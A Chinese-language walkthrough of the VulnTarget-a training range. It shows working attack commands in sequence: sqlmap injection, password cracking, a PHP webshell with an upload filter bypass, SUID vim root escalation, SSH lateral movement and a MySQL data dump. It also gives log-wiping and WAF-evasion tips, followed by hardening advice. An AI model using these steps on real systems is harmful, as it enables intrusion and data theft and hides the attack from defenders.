VulnTarget-a靶场渗透测试实战与漏洞分析

VulnTarget-a靶场渗透测试实战与漏洞分析

1. VulnTarget-a靶场渗透测试概述

VulnTarget-a是一个专门为网络安全学习者设计的渗透测试实战环境。这个靶场模拟了企业级网络中常见的漏洞场景,包含Web应用漏洞、系统漏洞、网络服务漏洞等多种安全风险点。作为安全从业者,我最近完整走通了该靶场的全部关卡,现将实战过程中的技术细节和思考路径整理成这份报告。

与DVWA、Pikachu等知名靶场相比,VulnTarget-a的特色在于其漏洞场景更贴近真实企业环境,漏洞利用链设计更为复杂。靶场中不仅包含SQL注入、XSS等基础Web漏洞,还涉及中间件配置不当、权限提升、横向移动等中高级渗透技术点。整个环境采用docker-compose部署,包含5台互联的主机,模拟了小型企业网络架构。

2. 环境搭建与初始信息收集

2.1 靶场环境部署

VulnTarget-a官方提供了完整的docker部署方案。在Ubuntu 20.04系统上,安装流程如下:

# 安装docker和docker-compose sudo apt update sudo apt install docker.io docker-compose -y # 下载靶场环境 git clone https://github.com/vulntarget/vulntarget-a.git cd vulntarget-a # 启动环境 docker-compose up -d

环境启动后,会监听以下关键端口:

  • 192.168.1.100:80 (Web应用)
  • 192.168.1.110:3306 (MySQL数据库)
  • 192.168.1.120:445 (SMB服务)
  • 192.168.1.130:22 (SSH服务)

注意:实际IP可能因网络配置而异,建议使用docker network inspect vulntarget-a_default查看具体分配情况

2.2 信息收集阶段

使用Nmap进行初步扫描:

nmap -sV -T4 -p- 192.168.1.100

扫描结果显示Web服务器运行着Apache 2.4.38和PHP 7.3.5,存在以下关键路径:

  • /index.php (登录页面)
  • /news.php (新闻展示)
  • /admin/ (后台管理)
  • /upload/ (文件上传功能)

通过目录爆破发现robots.txt文件,其中包含敏感路径提示:

Disallow: /backup/ Disallow: /config/

3. Web应用漏洞挖掘与利用

3.1 SQL注入漏洞利用

在/news.php页面发现id参数存在数字型注入:

http://192.168.1.100/news.php?id=1

使用sqlmap自动化检测:

sqlmap -u "http://192.168.1.100/news.php?id=1" --risk=3 --level=5 --dbs

成功获取数据库信息:

  • 数据库名:vulntarget
  • 表名:users,news,config
  • 关键字段:username,password(加密)

通过分析发现密码采用md5加密,使用john破解:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

获得管理员凭证:

admin:admin123

3.2 文件上传漏洞利用

登录后台后,在/upload/路径发现未过滤的文件上传功能。制作PHP webshell:

<?php system($_GET['cmd']);?>

使用burp修改Content-Type绕过:

Content-Type: image/jpeg

上传成功后访问:

http://192.168.1.100/upload/shell.php?cmd=id

获得www-data权限的shell。

4. 权限提升与横向移动

4.1 系统权限提升

在Web服务器上发现SUID权限异常的vim:

find / -perm -4000 2>/dev/null

利用vim提权:

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

获得root权限后,在/root目录发现ssh私钥:

-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA3Xo6S... -----END RSA PRIVATE KEY-----

4.2 内网横向渗透

使用获取的私钥登录192.168.1.130:

chmod 600 id_rsa ssh -i id_rsa root@192.168.1.130

在该主机发现MySQL凭证:

cat /var/www/html/config.php

连接192.168.1.110的MySQL服务:

mysql -h 192.168.1.110 -u dbuser -p'dbpass123'

导出敏感数据:

SELECT * FROM vulntarget.users INTO OUTFILE '/tmp/users.csv';

5. 漏洞修复建议

5.1 Web应用层修复

  1. SQL注入防护:

    • 使用预处理语句(PDO)
    • 输入参数白名单验证
    • 最小权限原则配置数据库账户
  2. 文件上传安全:

    • 文件内容检测(非仅扩展名)
    • 上传目录禁用脚本执行
    • 随机化文件名存储

5.2 系统层加固

  1. 权限控制:

    • 移除不必要的SUID权限
    • 实施最小特权原则
    • 定期审计sudo配置
  2. 网络隔离:

    • 数据库服务不应暴露在办公网络
    • 实施VLAN划分
    • 配置严格的防火墙规则

6. 渗透测试中的实用技巧

  1. 密码破解优化:

    • 先尝试top1000常用密码
    • 结合hashcat规则进行变形破解
    • 利用GPU加速破解过程
  2. 内网信息收集:

    # 快速扫描内网存活主机 for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from" & done # 检查ARP缓存 arp -a
  3. 痕迹清理:

    • 删除.bash_history
    • 清除web日志
    echo "" > /var/log/apache2/access.log

在实际渗透过程中,每个环节都可能遇到意外情况。比如在VulnTarget-a中就遇到了非常规的WAF拦截,此时需要:

  1. 降低扫描频率
  2. 修改User-Agent头
  3. 尝试编码绕过技术(如双重URL编码)